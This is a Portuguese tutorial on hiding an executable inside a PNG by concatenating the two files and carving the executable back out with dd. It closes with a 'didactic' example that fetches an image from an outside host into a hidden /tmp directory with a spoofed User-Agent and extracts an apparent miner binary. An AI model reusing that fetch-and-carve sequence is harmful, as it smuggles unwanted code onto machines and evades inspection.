Como esconder um binário em um arquivo de imagem digital
Autor: * Coffnix
Motivo
Você já está no caminho certo ao garantir a segurança de seus sistemas, protegendo suas senhas, usando criptografia e seguindo as boas práticas recomendadas. Mas às vezes, apenas esconder dados não é o suficiente.
Há situações em que proteger informações é apenas metade da batalha, e a outra metade é ocultá-las. Afinal, você pode estar enfrentando um ambiente onde o simples uso de criptografia já levanta suspeitas. E é aí que entra o conceito de esteganografia: esconder dados à vista de todos, sem que ninguém perceba. Isso permite que você embuta um binário, ou qualquer outro dado, dentro de arquivos inofensivos como uma imagem JPG ou PNG.
Há também um exemplo clássico de como esteganografia foi usada por agentes do governo dos EUA, especificamente pela NSA. Durante uma investigação, ficou claro que informações confidenciais estavam sendo ocultadas em imagens, que eram carregadas em anúncios aparentemente inofensivos no eBay. Esses anúncios disfarçados serviam como meio de comunicação secreta, onde arquivos binários ou informações sensíveis eram embutidos em imagens de produtos comuns. Esse caso mostrou como até mesmo grandes plataformas de comércio eletrônico podem ser usadas como veículos para operações secretas, destacando o poder da esteganografia para ocultar dados à vista de todos.
Se você ainda acha que isso é só paranoia, pense novamente. Em um mundo onde entidades governamentais (sim, o ESTADO) monitoram cada byte que você envia ou recebe, qualquer camada extra de ocultação pode ser a diferença entre sua liberdade digital e a exposição. Portanto, se você precisa transportar algo confidencial, seja um arquivo executável ou qualquer outro dado crítico, aprender a ocultá-lo dentro de uma imagem pode ser a técnica definitiva no seu arsenal de privacidade.
Requisitos
MacOS, Linux, FreeBSD ou qualquer outro UNIX. Windows users que se fodam.
Procedimento
Obtenha uma imagem qualquer, por exemplo a logo do Área31:
root # wget https://area31.net.br/wiki/images/c/c1/Logo_white.png
Verifique o tamanho do arquivo baixado:
root # mdls -name kMDItemFSSize Logo_white.png kMDItemFSSize = 229295
Concatene o arquivo de imagem com um binário (neste caso, o executável /bin/df):
root # cat Logo_white.png /bin/df > new.png
Extraia o binário oculto no novo arquivo new.png, pulando os primeiros bytes da imagem:
root # dd if=new.png of=extracted_df bs=1 skip=229295 119152+0 records in 119152+0 records out 119152 bytes transferred in 0.224519 secs (530699 bytes/sec)
Compare com o original:
root # diff /bin/df extracted_df
Verifique a integridade do binário extraído para garantir que ele está funcional:
root # chmod +x extracted_df root # ./extracted_df
Exemplo "didático"
root # mkdir -p /tmp/... ; wget -O /tmp/.../... "https://ooo.0o0.ooo/2017/06/21/594a71626c759.png" --header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
root # dd if=/tmp/.../... skip=7664 bs=1 of=minerd
root # file minerd minerd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
É só isso mesmo. Vlw Flw.